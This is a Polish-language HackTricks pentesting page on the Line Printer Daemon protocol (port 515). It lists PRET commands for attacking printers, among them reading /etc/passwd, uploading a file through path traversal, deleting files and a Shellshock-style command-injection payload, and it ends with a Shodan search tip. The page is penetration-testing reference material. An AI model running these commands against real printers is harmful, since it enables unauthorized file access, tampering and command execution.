515 - Pentesting Line Printer Daemon (LPD)

Support HackTricks

Wprowadzenie do protokołu LPD

W latach 80. XX wieku opracowano protokół Line Printer Daemon (LPD) w Berkeley Unix, który później został sformalizowany w RFC1179. Protokół ten działa na porcie 515/tcp, umożliwiając interakcje za pomocą polecenia lpr. Istota drukowania za pomocą LPD polega na wysyłaniu pliku kontrolnego (w celu określenia szczegółów zadania i użytkownika) wraz z plikem danych (który zawiera informacje do druku). Chociaż plik kontrolny pozwala na wybór różnych formatów plików dla pliku danych, obsługa tych plików jest określona przez konkretną implementację LPD. Szeroko uznawana implementacja dla systemów podobnych do Unix to LPRng. Należy zauważyć, że protokół LPD może być wykorzystywany do wykonywania złośliwego PostScript lub zleceń druku PJL.

Narzędzia do interakcji z drukarkami LPD

PRET wprowadza dwa podstawowe narzędzia, lpdprint i lpdtest, oferując prostą metodę interakcji z drukarkami zgodnymi z LPD. Narzędzia te umożliwiają szereg działań, od drukowania danych po manipulowanie plikami na drukarce, takie jak pobieranie, przesyłanie lub usuwanie:

# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local

Dla osób zainteresowanych dalszym zgłębianiem tematu hackingu drukarek, kompleksowe zasoby można znaleźć tutaj: Hacking Printers.

Shodan

  • port 515

Wsparcie dla HackTricks

Last updated